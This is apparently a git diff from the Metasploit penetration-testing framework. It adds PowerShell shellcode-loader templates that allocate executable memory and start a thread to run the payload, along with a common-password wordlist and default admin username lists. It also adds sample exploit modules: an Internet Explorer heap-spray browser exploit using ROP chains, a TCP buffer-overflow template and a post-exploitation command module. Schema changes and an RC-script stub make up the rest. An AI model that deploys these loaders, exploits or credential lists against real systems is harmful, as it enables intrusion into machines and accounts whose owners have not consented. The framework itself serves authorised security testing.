|
||||
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
|
||||
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
||||
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
|
||||
$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
|
||||
$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
|
||||
$%{var_compileParams}.GenerateInMemory = $True
|
||||
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
||||
|
||||
%{shellcode}
|
||||
|
||||
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
|
||||
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
|
||||
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
|
||||
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
|
||||
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
|
|
@ -0,0 +1,20 @@
|
|||
$%{var_syscode} = @"
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport("msvcrt.dll")]
|
||||
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
||||
"@
|
||||
|
||||
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
|
||||
|
||||
%{shellcode}
|
||||
|
||||
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
|
||||
|
||||
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
|
||||
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
||||
}
|
||||
|
||||
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,500 @@
|
|||
password
|
||||
123456
|
||||
12345678
|
||||
1234
|
||||
qwerty
|
||||
12345
|
||||
dragon
|
||||
pussy
|
||||
baseball
|
||||
football
|
||||
letmein
|
||||
monkey
|
||||
696969
|
||||
abc123
|
||||
mustang
|
||||
michael
|
||||
shadow
|
||||
master
|
||||
jennifer
|
||||
111111
|
||||
2000
|
||||
jordan
|
||||
superman
|
||||
harley
|
||||
1234567
|
||||
fuckme
|
||||
hunter
|
||||
fuckyou
|
||||
trustno1
|
||||
ranger
|
||||
buster
|
||||
thomas
|
||||
tigger
|
||||
robert
|
||||
soccer
|
||||
fuck
|
||||
batman
|
||||
test
|
||||
pass
|
||||
killer
|
||||
hockey
|
||||
george
|
||||
charlie
|
||||
andrew
|
||||
michelle
|
||||
love
|
||||
sunshine
|
||||
jessica
|
||||
asshole
|
||||
6969
|
||||
pepper
|
||||
daniel
|
||||
access
|
||||
123456789
|
||||
654321
|
||||
joshua
|
||||
maggie
|
||||
starwars
|
||||
silver
|
||||
william
|
||||
dallas
|
||||
yankees
|
||||
123123
|
||||
ashley
|
||||
666666
|
||||
hello
|
||||
amanda
|
||||
orange
|
||||
biteme
|
||||
freedom
|
||||
computer
|
||||
sexy
|
||||
thunder
|
||||
nicole
|
||||
ginger
|
||||
heather
|
||||
hammer
|
||||
summer
|
||||
corvette
|
||||
taylor
|
||||
fucker
|
||||
austin
|
||||
1111
|
||||
merlin
|
||||
matthew
|
||||
121212
|
||||
golfer
|
||||
cheese
|
||||
princess
|
||||
martin
|
||||
chelsea
|
||||
patrick
|
||||
richard
|
||||
diamond
|
||||
yellow
|
||||
bigdog
|
||||
secret
|
||||
asdfgh
|
||||
sparky
|
||||
cowboy
|
||||
camaro
|
||||
anthony
|
||||
matrix
|
||||
falcon
|
||||
iloveyou
|
||||
bailey
|
||||
guitar
|
||||
jackson
|
||||
purple
|
||||
scooter
|
||||
phoenix
|
||||
aaaaaa
|
||||
morgan
|
||||
tigers
|
||||
porsche
|
||||
mickey
|
||||
maverick
|
||||
cookie
|
||||
nascar
|
||||
peanut
|
||||
justin
|
||||
131313
|
||||
money
|
||||
horny
|
||||
samantha
|
||||
panties
|
||||
steelers
|
||||
joseph
|
||||
snoopy
|
||||
boomer
|
||||
whatever
|
||||
iceman
|
||||
smokey
|
||||
gateway
|
||||
dakota
|
||||
cowboys
|
||||
eagles
|
||||
chicken
|
||||
dick
|
||||
black
|
||||
zxcvbn
|
||||
please
|
||||
andrea
|
||||
ferrari
|
||||
knight
|
||||
hardcore
|
||||
melissa
|
||||
compaq
|
||||
coffee
|
||||
booboo
|
||||
bitch
|
||||
johnny
|
||||
bulldog
|
||||
xxxxxx
|
||||
welcome
|
||||
james
|
||||
player
|
||||
ncc1701
|
||||
wizard
|
||||
scooby
|
||||
charles
|
||||
junior
|
||||
internet
|
||||
bigdick
|
||||
mike
|
||||
brandy
|
||||
tennis
|
||||
blowjob
|
||||
banana
|
||||
monster
|
||||
spider
|
||||
lakers
|
||||
miller
|
||||
rabbit
|
||||
enter
|
||||
mercedes
|
||||
brandon
|
||||
steven
|
||||
fender
|
||||
john
|
||||
yamaha
|
||||
diablo
|
||||
chris
|
||||
boston
|
||||
tiger
|
||||
marine
|
||||
chicago
|
||||
rangers
|
||||
gandalf
|
||||
winter
|
||||
bigtits
|
||||
barney
|
||||
edward
|
||||
raiders
|
||||
porn
|
||||
badboy
|
||||
blowme
|
||||
spanky
|
||||
bigdaddy
|
||||
johnson
|
||||
chester
|
||||
london
|
||||
midnight
|
||||
blue
|
||||
fishing
|
||||
000000
|
||||
hannah
|
||||
slayer
|
||||
11111111
|
||||
rachel
|
||||
sexsex
|
||||
redsox
|
||||
thx1138
|
||||
asdf
|
||||
marlboro
|
||||
panther
|
||||
zxcvbnm
|
||||
arsenal
|
||||
oliver
|
||||
qazwsx
|
||||
mother
|
||||
victoria
|
||||
7777777
|
||||
jasper
|
||||
angel
|
||||
david
|
||||
winner
|
||||
crystal
|
||||
golden
|
||||
butthead
|
||||
viking
|
||||
jack
|
||||
iwantu
|
||||
shannon
|
||||
murphy
|
||||
angels
|
||||
prince
|
||||
cameron
|
||||
girls
|
||||
madison
|
||||
wilson
|
||||
carlos
|
||||
hooters
|
||||
willie
|
||||
startrek
|
||||
captain
|
||||
maddog
|
||||
jasmine
|
||||
butter
|
||||
booger
|
||||
angela
|
||||
golf
|
||||
lauren
|
||||
rocket
|
||||
tiffany
|
||||
theman
|
||||
dennis
|
||||
liverpoo
|
||||
flower
|
||||
forever
|
||||
green
|
||||
jackie
|
||||
muffin
|
||||
turtle
|
||||
sophie
|
||||
danielle
|
||||
redskins
|
||||
toyota
|
||||
jason
|
||||
sierra
|
||||
winston
|
||||
debbie
|
||||
giants
|
||||
packers
|
||||
newyork
|
||||
jeremy
|
||||
casper
|
||||
bubba
|
||||
112233
|
||||
sandra
|
||||
lovers
|
||||
mountain
|
||||
united
|
||||
cooper
|
||||
driver
|
||||
tucker
|
||||
helpme
|
||||
fucking
|
||||
pookie
|
||||
lucky
|
||||
maxwell
|
||||
8675309
|
||||
bear
|
||||
suckit
|
||||
gators
|
||||
5150
|
||||
222222
|
||||
shithead
|
||||
fuckoff
|
||||
jaguar
|
||||
monica
|
||||
fred
|
||||
happy
|
||||
hotdog
|
||||
tits
|
||||
gemini
|
||||
lover
|
||||
xxxxxxxx
|
||||
777777
|
||||
canada
|
||||
nathan
|
||||
victor
|
||||
florida
|
||||
88888888
|
||||
nicholas
|
||||
rosebud
|
||||
metallic
|
||||
doctor
|
||||
trouble
|
||||
success
|
||||
stupid
|
||||
tomcat
|
||||
warrior
|
||||
peaches
|
||||
apples
|
||||
fish
|
||||
qwertyui
|
||||
magic
|
||||
buddy
|
||||
dolphins
|
||||
rainbow
|
||||
gunner
|
||||
987654
|
||||
freddy
|
||||
alexis
|
||||
braves
|
||||
cock
|
||||
2112
|
||||
1212
|
||||
cocacola
|
||||
xavier
|
||||
dolphin
|
||||
testing
|
||||
bond007
|
||||
member
|
||||
calvin
|
||||
voodoo
|
||||
7777
|
||||
samson
|
||||
alex
|
||||
apollo
|
||||
fire
|
||||
tester
|
||||
walter
|
||||
beavis
|
||||
voyager
|
||||
peter
|
||||
porno
|
||||
bonnie
|
||||
rush2112
|
||||
beer
|
||||
apple
|
||||
scorpio
|
||||
jonathan
|
||||
skippy
|
||||
sydney
|
||||
scott
|
||||
red123
|
||||
power
|
||||
gordon
|
||||
travis
|
||||
beaver
|
||||
star
|
||||
jackass
|
||||
flyers
|
||||
boobs
|
||||
232323
|
||||
zzzzzz
|
||||
steve
|
||||
rebecca
|
||||
scorpion
|
||||
doggie
|
||||
legend
|
||||
ou812
|
||||
yankee
|
||||
blazer
|
||||
bill
|
||||
runner
|
||||
birdie
|
||||
bitches
|
||||
555555
|
||||
parker
|
||||
topgun
|
||||
asdfasdf
|
||||
heaven
|
||||
viper
|
||||
animal
|
||||
2222
|
||||
bigboy
|
||||
4444
|
||||
arthur
|
||||
baby
|
||||
private
|
||||
godzilla
|
||||
donald
|
||||
williams
|
||||
lifehack
|
||||
phantom
|
||||
dave
|
||||
rock
|
||||
august
|
||||
sammy
|
||||
cool
|
||||
brian
|
||||
platinum
|
||||
jake
|
||||
bronco
|
||||
paul
|
||||
mark
|
||||
frank
|
||||
heka6w2
|
||||
copper
|
||||
billy
|
||||
cumshot
|
||||
garfield
|
||||
willow
|
||||
cunt
|
||||
little
|
||||
carter
|
||||
slut
|
||||
albert
|
||||
69696969
|
||||
kitten
|
||||
super
|
||||
jordan23
|
||||
eagle1
|
||||
shelby
|
||||
america
|
||||
11111
|
||||
jessie
|
||||
house
|
||||
free
|
||||
123321
|
||||
chevy
|
||||
bullshit
|
||||
white
|
||||
broncos
|
||||
horney
|
||||
surfer
|
||||
nissan
|
||||
999999
|
||||
saturn
|
||||
airborne
|
||||
elephant
|
||||
marvin
|
||||
shit
|
||||
action
|
||||
adidas
|
||||
qwert
|
||||
kevin
|
||||
1313
|
||||
explorer
|
||||
walker
|
||||
police
|
||||
christin
|
||||
december
|
||||
benjamin
|
||||
wolf
|
||||
sweet
|
||||
therock
|
||||
king
|
||||
online
|
||||
dickhead
|
||||
brooklyn
|
||||
teresa
|
||||
cricket
|
||||
sharon
|
||||
dexter
|
||||
racing
|
||||
penis
|
||||
gregory
|
||||
0000
|
||||
teens
|
||||
redwings
|
||||
dreams
|
||||
michigan
|
||||
hentai
|
||||
magnum
|
||||
87654321
|
||||
nothing
|
||||
donkey
|
||||
trinity
|
||||
digital
|
||||
333333
|
||||
stella
|
||||
cartman
|
||||
guinness
|
||||
123abc
|
||||
speedy
|
||||
buffalo
|
|
@ -0,0 +1,8 @@
|
|||
aspnet_client/
|
||||
Autodiscover/
|
||||
ecp/
|
||||
EWS/
|
||||
Microsoft-Server-ActiveSync/
|
||||
OAB/
|
||||
PowerShell/
|
||||
Rpc/
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,5 @@
|
|||
ADMIN
|
||||
admin
|
||||
root
|
||||
Administrator
|
||||
USERID
|
98
db/schema.rb
98
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20130516204810) do
|
||||
ActiveRecord::Schema.define(:version => 20130717150737) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -19,38 +19,13 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
|
|||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "attachments", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.binary "data"
|
||||
t.string "content_type", :limit => 512
|
||||
t.boolean "inline", :default => true, :null => false
|
||||
t.boolean "zip", :default => false, :null => false
|
||||
t.integer "campaign_id"
|
||||
end
|
||||
|
||||
create_table "attachments_email_templates", :id => false, :force => true do |t|
|
||||
t.integer "attachment_id"
|
||||
t.integer "email_template_id"
|
||||
end
|
||||
|
||||
create_table "campaigns", :force => true do |t|
|
||||
t.integer "workspace_id", :null => false
|
||||
t.string "name", :limit => 512
|
||||
t.text "prefs"
|
||||
t.integer "status", :default => 0
|
||||
t.datetime "started_at"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
t.string "ua_string", :limit => 1024, :null => false
|
||||
t.string "ua_name", :limit => 64
|
||||
t.string "ua_ver", :limit => 32
|
||||
t.string "ua_string", :limit => 1024, :null => false
|
||||
t.string "ua_name", :limit => 64
|
||||
t.string "ua_ver", :limit => 32
|
||||
t.datetime "updated_at"
|
||||
t.integer "campaign_id"
|
||||
end
|
||||
|
||||
create_table "creds", :force => true do |t|
|
||||
|
@ -66,24 +41,6 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
|
|||
t.string "source_type"
|
||||
end
|
||||
|
||||
create_table "email_addresses", :force => true do |t|
|
||||
t.integer "campaign_id", :null => false
|
||||
t.string "first_name", :limit => 512
|
||||
t.string "last_name", :limit => 512
|
||||
t.string "address", :limit => 512
|
||||
t.boolean "sent", :default => false, :null => false
|
||||
t.datetime "clicked_at"
|
||||
end
|
||||
|
||||
create_table "email_templates", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.string "subject", :limit => 1024
|
||||
t.text "body"
|
||||
t.integer "parent_id"
|
||||
t.integer "campaign_id"
|
||||
t.text "prefs"
|
||||
end
|
||||
|
||||
create_table "events", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "host_id"
|
||||
|
@ -167,18 +124,11 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
|
|||
add_index "hosts", ["state"], :name => "index_hosts_on_state"
|
||||
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
|
||||
|
||||
create_table "hosts_tags", :id => false, :force => true do |t|
|
||||
create_table "hosts_tags", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.integer "tag_id"
|
||||
end
|
||||
|
||||
create_table "imported_creds", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "user", :limit => 512
|
||||
t.string "pass", :limit => 512
|
||||
t.string "ptype", :limit => 16, :default => "password"
|
||||
end
|
||||
|
||||
create_table "listeners", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
|
@ -427,6 +377,34 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
|
|||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_creds", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "cred_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_hosts", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "host_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_services", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "service_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_sessions", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "session_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "tasks", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "created_by"
|
||||
|
@ -561,14 +539,6 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
|
|||
add_index "web_sites", ["options"], :name => "index_web_sites_on_options"
|
||||
add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost"
|
||||
|
||||
create_table "web_templates", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.string "title", :limit => 512
|
||||
t.string "body", :limit => 524288
|
||||
t.integer "campaign_id"
|
||||
t.text "prefs"
|
||||
end
|
||||
|
||||
create_table "web_vulns", :force => true do |t|
|
||||
t.integer "web_site_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
|
@ -576,7 +546,7 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
|
|||
t.text "path", :null => false
|
||||
t.string "method", :limit => 1024, :null => false
|
||||
t.text "params", :null => false
|
||||
t.text "pname", :null => false
|
||||
t.text "pname"
|
||||
t.integer "risk", :null => false
|
||||
t.string "name", :limit => 1024, :null => false
|
||||
t.text "query"
|
||||
|
|
|
@ -15,19 +15,18 @@ require 'msf/core'
|
|||
###
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Auxiliary Module',
|
||||
'Version' => '$Revision: 4419 $',
|
||||
'Description' => 'Sample Auxiliary Module',
|
||||
'Author' => 'hdm',
|
||||
'Author' => ['hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['Default Action'],
|
||||
['Another Action']
|
||||
]
|
||||
)
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -15,12 +15,12 @@ class Metasploit4 < Msf::Encoder
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample encoder',
|
||||
'Version' => '$Revision$',
|
||||
'Name' => 'Sample Encoder',
|
||||
'Description' => %q{
|
||||
Sample encoder that just returns the block it's passed
|
||||
when encoding occurs.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_ALL)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,147 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# This exploit sample demonstrates how a typical browser exploit is written using commonly
|
||||
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
# Set :classid and :method for ActiveX exploits. For example:
|
||||
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
|
||||
# :method => "SetShapeNodeType",
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "8.0",
|
||||
:ua_maxver => "10.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:rank => NormalRanking
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Module Name",
|
||||
'Description' => %q{
|
||||
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
|
||||
the browser version. Please note IE8 and newer may emulate an older IE version
|
||||
in compatibility mode, in that case the module won't be able to detect the
|
||||
browser correctly.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00", # js_property_spray
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
when '6.2'
|
||||
os_name = 'Windows 8'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def get_payload(t)
|
||||
stack_pivot = "\x41\x42\x43\x44"
|
||||
code = payload.encoded
|
||||
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("Using msvcrt ROP")
|
||||
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
|
||||
|
||||
else
|
||||
print_status("Using JRE ROP")
|
||||
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
||||
end
|
||||
|
||||
rop_payload
|
||||
end
|
||||
|
||||
|
||||
def get_html(t)
|
||||
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
|
||||
html = %Q|
|
||||
<script>
|
||||
#{js_property_spray}
|
||||
|
||||
var s = unescape("#{js_p}");
|
||||
sprayHeap({shellcode:s});
|
||||
</script>
|
||||
|
|
||||
|
||||
html.gsub(/^\t\t/, '')
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
print_status("Requesting: #{request.uri}")
|
||||
|
||||
target = get_target(agent)
|
||||
if target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Target selected as: #{target.name}")
|
||||
html = get_html(target)
|
||||
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
|
||||
end
|
||||
end
|
|
@ -22,13 +22,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample exploit',
|
||||
'Name' => 'Sample Exploit',
|
||||
'Description' => %q{
|
||||
This exploit module illustrates how a vulnerability could be exploited
|
||||
in an TCP server that has a parsing bug.
|
||||
},
|
||||
'Author' => 'skape',
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['skape'],
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
|
@ -41,14 +41,15 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
[
|
||||
# Target 0: Windows All
|
||||
[
|
||||
'Windows Universal',
|
||||
'Windows XP/Vista/7/8',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Ret' => 0x41424344
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -56,11 +57,11 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
# vulnerable.
|
||||
#
|
||||
def check
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
#
|
||||
# The exploit method connects to the remote service and sends 1024 A's
|
||||
# The exploit method connects to the remote service and sends 1024 random bytes
|
||||
# followed by the fake return address and then the payload.
|
||||
#
|
||||
def exploit
|
||||
|
@ -69,13 +70,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
print_status("Sending #{payload.encoded.length} byte payload...")
|
||||
|
||||
# Build the buffer for transmission
|
||||
buf = "A" * 1024
|
||||
buf += [ target.ret ].pack('V')
|
||||
buf += payload.encoded
|
||||
buf = rand_text_alpha(1024)
|
||||
buf << [ target.ret ].pack('V')
|
||||
buf << payload.encoded
|
||||
|
||||
# Send it off
|
||||
sock.put(buf)
|
||||
sock.get
|
||||
sock.get_once
|
||||
|
||||
handler
|
||||
end
|
||||
|
|
|
@ -17,9 +17,9 @@ class Metasploit4 < Msf::Nop
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample NOP generator',
|
||||
'Version' => '$Revision$',
|
||||
'Name' => 'Sample NOP Generator',
|
||||
'Description' => 'Sample single-byte NOP generator',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_X86)
|
||||
end
|
||||
|
|
|
@ -19,8 +19,8 @@ module Metasploit4
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Debugger Trap',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Causes a debugger trap exception through int3',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
|
|
|
@ -0,0 +1,40 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
###
|
||||
#
|
||||
# This post module sample shows how we can execute a command on the compromised machine
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Post Module',
|
||||
'Description' => %q{Sample Post Module},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'win'],
|
||||
'SessionTypes' => [ "shell", "meterpreter" ]
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# This post module runs a ipconfig command and returns the output
|
||||
#
|
||||
def run
|
||||
print_status("Executing ipconfig on remote machine")
|
||||
o = cmd_exec("ipconfig")
|
||||
print_line(o)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,132 @@
|
|||
<ruby>
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
#
|
||||
# Put your 'require' here
|
||||
#
|
||||
|
||||
#
|
||||
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
|
||||
# will have to do the trick for now.
|
||||
#
|
||||
def help
|
||||
msg = %Q|
|
||||
Description:
|
||||
Let's describe what this RC script is all about, plus anything the user should know before
|
||||
actually using it.
|
||||
|
||||
Usage:
|
||||
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
|
||||
|
||||
Options:
|
||||
<rc file> - I'm sure you already know
|
||||
<db_user> - Username for the database (datastore: 'DB_USER')
|
||||
<db_pass> - Password for the database (datastore: 'DB_PASS')
|
||||
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
|
||||
<arg1> - Argument 1 (datastore: 'ARG1')
|
||||
|
||||
Authors:
|
||||
sinn3r <sinn3r[at]metasploit.com>
|
||||
|
|
||||
|
||||
msg = msg.gsub(/^\t/, '')
|
||||
print_line(msg)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# See if we're already connected
|
||||
#
|
||||
def is_db_active?
|
||||
begin
|
||||
framework.db.hosts
|
||||
return true
|
||||
rescue ::ActiveRecord::ConnectionNotEstablished
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the database.
|
||||
# Default to localhost:5432, as this is the default configuration suggested by the manual.
|
||||
#
|
